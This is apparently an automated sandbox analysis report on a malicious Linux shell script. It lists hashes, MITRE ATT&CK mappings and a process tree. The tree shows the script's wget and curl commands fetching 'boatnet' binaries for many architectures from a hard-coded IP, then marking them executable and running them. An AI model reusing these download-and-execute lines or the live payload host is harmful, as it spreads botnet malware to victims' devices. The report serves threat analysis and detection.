ac12224d300baa85a2ccb8becb3f9cc01c6165ea77a0f41cc17e14f6d7ea4185

Analysis

max time kernel
148s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260127-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260127-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
31/03/2026, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ohshit.sh
Size 2KB
Sample260331-pps39saw5j
SHA256 ac12224d300baa85a2ccb8becb3f9cc01c6165ea77a0f41cc17e14f6d7ea4185
MD5 242c5bd5126ac5b4d54ca6a97edf0678
SHA1 747cb3c753e528c69a80fe2421aae8b5aa19fc86
SHA512 6d2209f666693565bca450e0f6cb3213cabcbadbb8641a977b49a59b537714de1afe7b1aadc771df9a79943de3ac169027a399da0b48e34d1759bad6a55670a2
TLSH
T1C751F4C445849E75ACB7EA52BAB6C21C7092A4C314DF7F9ADEC8B9E0858EE10F140793
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1549	chmod
1555	chmod
1586	chmod
1537	chmod
1561	chmod
1574	chmod
1592	chmod
1604	chmod
1531	chmod
1567	chmod
1598	chmod
1543	chmod
1580	chmod
1610	chmod
1618	chmod

Deletes itself 2 IoCs

pid	Process
1571	WTF
1621	WTF

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1532	ohshit.sh
/tmp/WTF	1538	ohshit.sh
/tmp/WTF	1544	ohshit.sh
/tmp/WTF	1550	ohshit.sh
/tmp/WTF	1556	ohshit.sh
/tmp/WTF	1562	ohshit.sh
/tmp/WTF	1568	ohshit.sh
/tmp/WTF	1575	ohshit.sh
/tmp/WTF	1581	ohshit.sh
/tmp/WTF	1587	ohshit.sh
/tmp/WTF	1593	ohshit.sh
/tmp/WTF	1599	ohshit.sh
/tmp/WTF	1605	ohshit.sh
/tmp/WTF	1611	ohshit.sh
/tmp/WTF	1619	ohshit.sh

Enumerates running processes
Discovers information about currently running processes on the system

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-8.dat	upx

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	1571	WTF
Changes the process name, possibly in an attempt to hide itself	t.me/flylegit	1621	WTF

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/178/comm	WTF
File opened for reading	/proc/1519/comm	WTF
File opened for reading	/proc/571/comm	WTF
File opened for reading	/proc/1062/comm	WTF
File opened for reading	/proc/14/comm	WTF
File opened for reading	/proc/176/comm	WTF
File opened for reading	/proc/1060/comm	WTF
File opened for reading	/proc/175/comm	WTF
File opened for reading	/proc/24/comm	WTF
File opened for reading	/proc/13/comm	WTF
File opened for reading	/proc/25/comm	WTF
File opened for reading	/proc/213/comm	WTF
File opened for reading	/proc/324/comm	WTF
File opened for reading	/proc/614/comm	WTF
File opened for reading	/proc/722/comm	WTF
File opened for reading	/proc/1263/comm	WTF
File opened for reading	/proc/80/comm	WTF
File opened for reading	/proc/979/comm	WTF
File opened for reading	/proc/995/comm	WTF
File opened for reading	/proc/437/comm	WTF
File opened for reading	/proc/19/comm	WTF
File opened for reading	/proc/86/comm	WTF
File opened for reading	/proc/681/comm	WTF
File opened for reading	/proc/1035/comm	WTF
File opened for reading	/proc/1146/comm	WTF
File opened for reading	/proc/82/comm	WTF
File opened for reading	/proc/169/comm	WTF
File opened for reading	/proc/6/comm	WTF
File opened for reading	/proc/24/comm	WTF
File opened for reading	/proc/182/comm	WTF
File opened for reading	/proc/469/comm	WTF
File opened for reading	/proc/503/comm	WTF
File opened for reading	/proc/1073/comm	WTF
File opened for reading	/proc/81/comm	WTF
File opened for reading	/proc/180/comm	WTF
File opened for reading	/proc/1018/comm	WTF
File opened for reading	/proc/1257/comm	WTF
File opened for reading	/proc/11/comm	WTF
File opened for reading	/proc/459/comm	WTF
File opened for reading	/proc/469/comm	WTF
File opened for reading	/proc/1103/comm	WTF
File opened for reading	/proc/31/comm	WTF
File opened for reading	/proc/170/comm	WTF
File opened for reading	/proc/495/comm	WTF
File opened for reading	/proc/417/comm	WTF
File opened for reading	/proc/678/comm	WTF
File opened for reading	/proc/952/comm	WTF
File opened for reading	/proc/20/comm	WTF
File opened for reading	/proc/13/comm	WTF
File opened for reading	/proc/614/comm	WTF
File opened for reading	/proc/1167/comm	WTF
File opened for reading	/proc/1327/comm	WTF
File opened for reading	/proc/958/comm	WTF
File opened for reading	/proc/173/comm	WTF
File opened for reading	/proc/1099/comm	WTF
File opened for reading	/proc/1008/comm	WTF
File opened for reading	/proc/1093/comm	WTF
File opened for reading	/proc/4/comm	WTF
File opened for reading	/proc/32/comm	WTF
File opened for reading	/proc/1079/comm	WTF
File opened for reading	/proc/177/comm	WTF
File opened for reading	/proc/1098/comm	WTF
File opened for reading	/proc/176/comm	WTF
File opened for reading	/proc/571/comm	WTF

System Network Configuration Discovery 1 TTPs 9 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1577	wget
1579	cat
1583	wget
1584	curl
1589	wget
1590	curl
1591	cat
1578	curl
1585	cat

Writes file to tmp directory 31 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.armv6l	wget
File opened for modification	/tmp/boatnet.mipsel	curl
File opened for modification	/tmp/boatnet.mipsrouter	wget
File opened for modification	/tmp/boatnet.armv4l	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.mipsel	wget
File opened for modification	/tmp/boatnet.powerpc	curl
File opened for modification	/tmp/boatnet.aarch64	wget
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.armv5l	wget
File opened for modification	/tmp/boatnet.armv7l	wget
File opened for modification	/tmp/boatnet.armv7l	curl
File opened for modification	/tmp/boatnet.i486	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.armv6l	curl
File opened for modification	/tmp/boatnet.mipsrouter	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.x86_64	wget
File opened for modification	/tmp/boatnet.aarch64	curl
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.powerpc	wget
File opened for modification	/tmp/boatnet.sparc	wget
File opened for modification	/tmp/boatnet.sparc	curl
File opened for modification	/tmp/boatnet.armv4l	wget
File opened for modification	/tmp/boatnet.armv5l	curl
File opened for modification	/tmp/boatnet.i486	curl
File opened for modification	/tmp/boatnet.x86_64	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1519
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.aarch64
  2⤵
  - Writes file to tmp directory
  PID:1520
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.aarch64
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/cat
  cat boatnet.aarch64
  2⤵
  PID:1530
- /bin/chmod
  chmod +x boatnet.aarch64 config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/WTF
  ./WTF
  2⤵
  PID:1532
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1534
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1535
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:1536
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1537
- /tmp/WTF
  ./WTF
  2⤵
  PID:1538
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.armv4l
  2⤵
  - Writes file to tmp directory
  PID:1540
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.armv4l
  2⤵
  - Writes file to tmp directory
  PID:1541
- /bin/cat
  cat boatnet.armv4l
  2⤵
  PID:1542
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1543
- /tmp/WTF
  ./WTF
  2⤵
  PID:1544
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1546
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.armv5l
  2⤵
  - Writes file to tmp directory
  PID:1547
- /bin/cat
  cat boatnet.armv5l
  2⤵
  PID:1548
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1549
- /tmp/WTF
  ./WTF
  2⤵
  PID:1550
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.armv6l
  2⤵
  - Writes file to tmp directory
  PID:1552
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.armv6l
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/cat
  cat boatnet.armv6l
  2⤵
  PID:1554
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/WTF
  ./WTF
  2⤵
  PID:1556
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.armv7l
  2⤵
  - Writes file to tmp directory
  PID:1558
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.armv7l
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/cat
  cat boatnet.armv7l
  2⤵
  PID:1560
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1561
- /tmp/WTF
  ./WTF
  2⤵
  PID:1562
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.i486
  2⤵
  - Writes file to tmp directory
  PID:1564
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.i486
  2⤵
  - Writes file to tmp directory
  PID:1565
- /bin/cat
  cat boatnet.i486
  2⤵
  PID:1566
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1567
- /tmp/WTF
  ./WTF
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:1568
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1570
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1572
- /bin/cat
  cat boatnet.m68k
  2⤵
  PID:1573
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1574
- /tmp/WTF
  ./WTF
  2⤵
  PID:1575
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1577
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1578
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:1579
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1580
- /tmp/WTF
  ./WTF
  2⤵
  PID:1581
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1583
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1584
- /bin/cat
  cat boatnet.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:1585
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1586
- /tmp/WTF
  ./WTF
  2⤵
  PID:1587
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.mipsrouter
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1589
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.mipsrouter
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1590
- /bin/cat
  cat boatnet.mipsrouter
  2⤵
  - System Network Configuration Discovery
  PID:1591
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /tmp/WTF
  ./WTF
  2⤵
  PID:1593
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1595
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.powerpc
  2⤵
  - Writes file to tmp directory
  PID:1596
- /bin/cat
  cat boatnet.powerpc
  2⤵
  PID:1597
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1598
- /tmp/WTF
  ./WTF
  2⤵
  PID:1599
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1601
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1602
- /bin/cat
  cat boatnet.sh4
  2⤵
  PID:1603
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc boatnet.sh4 config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1604
- /tmp/WTF
  ./WTF
  2⤵
  PID:1605
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.sparc
  2⤵
  - Writes file to tmp directory
  PID:1607
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.sparc
  2⤵
  - Writes file to tmp directory
  PID:1608
- /bin/cat
  cat boatnet.sparc
  2⤵
  PID:1609
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc boatnet.sh4 boatnet.sparc config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-timedated.service-BwGQ4f WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1610
- /tmp/WTF
  ./WTF
  2⤵
  PID:1611
- /usr/bin/wget
  wget http://176.65.139.59/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1613
- /usr/bin/curl
  curl -O http://176.65.139.59/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1614
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:1617
- /bin/chmod
  chmod +x boatnet.aarch64 boatnet.arc boatnet.armv4l boatnet.armv5l boatnet.armv6l boatnet.armv7l boatnet.i486 boatnet.m68k boatnet.mips boatnet.mipsel boatnet.mipsrouter boatnet.powerpc boatnet.sh4 boatnet.sparc boatnet.x86_64 config-err-wcF0fo netplan_onf6iw1a ohshit.sh snap-private-tmp ssh-mU3dyTHpNBUY systemd-private-d79de9aececb428a8f2e689c7a9468f3-bolt.service-higfBD systemd-private-d79de9aececb428a8f2e689c7a9468f3-colord.service-TtuwFJ systemd-private-d79de9aececb428a8f2e689c7a9468f3-ModemManager.service-3rYkkZ systemd-private-d79de9aececb428a8f2e689c7a9468f3-systemd-resolved.service-XtxNcc WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1618
- /tmp/WTF
  ./WTF
  2⤵
  - Deletes itself
  - Changes its process name
  - Reads runtime system information
  PID:1619

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WTF

Path /tmp/WTF
Size 121KB
SHA256 cecaed0ffe519c83d77655e1c2f3409fa795fc97917fe9a258f2473b1f84788d
MD5 cfe905c5b37cd3fcf0c18ef94ed1ae3c
SHA1 fe046390241e80cf0ac1103caf440c96b0a544f2
SHA512 b4893cad5e9c445cc893d83c07f35872e24d0fa953c97c2c7a321e5ea62b84ce19dabe832d60220ab2810200f960c0115dfa964a6f6f3675d2d1a4f191abcfb6
SSDEEP 3072:gf0GQgHfg5nBR4YYSOxTKB6Aq7mgbgiCrheiiU48qe:gf0tJBR4NSALD7rnCrheiDqe
TLSH
T180C39DABB24F1051C82647F41BCB579C2E3325019E2B9AE77C6E373E1A369DE58063D1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTF

Path /tmp/WTF
Size 114KB
SHA256 128396e00e8d7f3b3ae0ea8764c8d05448861a825e872d729013768537c0fdde
MD5 11b5bca019537cf6486ee5827d383935
SHA1 3cea9e6d7678c666c8bb842ef2e7b6c91026317b
SHA512 746d4d434967e98236e7da4d84c517d6bce8b4107f51cda2eeab12c2ee03b2d2ef4f94234b87c0c88776d60e0270ac0b3e9f1b6d2735a59c2f354dc53321d943
SSDEEP 1536:TUK9yqnU8vGRz4VA4j6T9y28Ty6O5FtZpqQcZlCtwywXvqcVuafhPeA45ZvI:AixnUHz4Z+5ypkn3E8I
TLSH
T1BAB30945FC505B17C6C652BBFB4E428D7B2A1768D3FE720399256F30378B96A0E3A142
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTF

Path /tmp/WTF
Size 110KB
SHA256 3f064c305e1210001e661ebc6154f3f4f71a1de02a495a70bb266cdb50997377
MD5 3f15bcb05a8d4931c72cfe5d06eebbd4
SHA1 0f4b962c527e1f6e8e657d8f27c1153e56d232a1
SHA512 13f4fb50ea79e24ff11f3cc7a7a528dd37cd1fe80855daa6e59bf8ff4a9562b6696de8b54b82333c89733b69582c92377619733a6184c1c46f9890cea1e934e1
SSDEEP 1536:57jnPq8azP4V8YOTIBRvyNOzIuSIwYeFWd/lk68wywlQ3Ym3Tb/V1oEakCxr:1zPqF41OUBljSIxecUtCF
TLSH
T187B30945F8445B17C6C666B7FF8E438D7B2A1758E3EE720399256F30378B85A0E3A142
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WTF

Path /tmp/WTF
Size 197KB
SHA256 a5c68825651a760d78a128fa1baa239fe6d4fa5e6e8636c7775c98dc43ba64b3
MD5 5dbd10f50fda8999d16de80183ddecd6
SHA1 d8eaf2a437d0f11e70027217adf8737a5a1bbe69
SHA512 61d2322dc819c19800fd6ee8cade821de8ae512a4c10c85a2880dcbefdcc310624d9ad079e92c9187769065db1efda1df3789fe01807792fd9ef715cf57c37f6
SSDEEP 6144:0WkwiLFRikj1nbdf2dp06GtCqjYW8nY1j20WI:0WLkjdbdfap06GtCqjYW8nY1j20WI
TLSH
T1CC147D22B6199FD7C45AAAF213E34A3147A3FC150E531789F22DFAB46643BD8BD09314
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boatnet.aarch64

Path /tmp/boatnet.aarch64
Size 153KB
SHA256 f20991717b62d88a44b917df63021187bdee72b4c92a7773eb66531f86c3a43f
MD5 44a94732a1980363c7c06aff7167af38
SHA1 b8943241e8b63830ed322b77dfd9e64e674d85bb
SHA512 a99ab667805204d3fb95ab30c077f21ca70e3fa30a392170ba551572e9f11f332cb6fb737800ce652c18ddbdfc7e3332b1f843908ff9715d0225802a7755f758
SSDEEP 1536:3dMiHrrc/qDHavM5Dtrg89RPA4b1X75rgmnX7Dy+IfMpkEn5p5M/LW:/7vDtrnPTR71gmX7Dy7fMpkxq
TLSH
T110F33969BA0F6C41F2C2D3F9DA8C87E13E1735E3C6778DA1790252EDDBA39D94980502
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads